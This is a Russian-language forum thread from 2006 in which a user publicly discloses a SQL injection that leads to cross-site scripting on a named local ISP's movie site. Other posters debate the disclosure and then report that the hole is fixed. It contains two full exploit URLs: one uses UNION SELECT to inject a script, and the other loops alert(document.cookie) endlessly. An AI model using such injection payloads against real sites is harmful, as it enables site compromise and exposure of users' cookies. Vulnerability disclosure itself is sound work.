Новости IT

Решил вот создать тему, т.к. администрация в лице Gosha не хочет читать PM или прочел, но не исправил узявимость =\

Так как kino.chebent.com находиться в тестовом режиме, решил потестить, нашел SQL-инъекцию, через которую можно выполнить межсайтовый скриптинг.

Исходный код

http://kino.chebnet.com/index.php?go=shownews&id=221+union+select+null,null,%3Cscript%3Ealert(document.forms[0].name)%3C/script%3E,null,null/*

Внимание, js будет выполняться бесконечно. В "современом" барузере, Opera, можно остановить выполнение, а в IE 6/7 и FF 1/2 нет, придется лезть в Диспетчер Задач

Исходный код

http://kino.chebnet.com/index.php?go=shownews&id=221+union+select+null,null,%3Cscript%3Ewhile(true){%20alert(document.cookie)%20}%3C/script%3E,null,null/*

P.S. На форуме чебнета создавать тему не стал, т.к. наверно ее удалят
P.S. PM было отправлено 21.10.2006 :: 18:15:58

Сообщение отредактировал Limarc - Dec 16 2006, 00:56

Тогда уж до кучи (это не критично, но для пользователей неудобно):

Неужели сложно делать urlencode для ссылок на фильмы с kino.chebnet.com?

На форуме чебнета создавать тему не стал, т.к. наверно ее удалят

Скорее проигнорят. Ладно хоть с буквой 'я' на FTP-сервере проблему решили.

--------------------

Михаил Светлов Светов - мой идеал либертарианца!

что хотел добиться трейдстартер путем выставления уязвимости на всеобщее обозрение - непонятно
сдается мне, чтобы лишь показать, какой он нии***ца крутой кодер?

ЗЫЖ :бакс:id=0+:бакс:id добавил, можете спать спокойно

Хм, исправили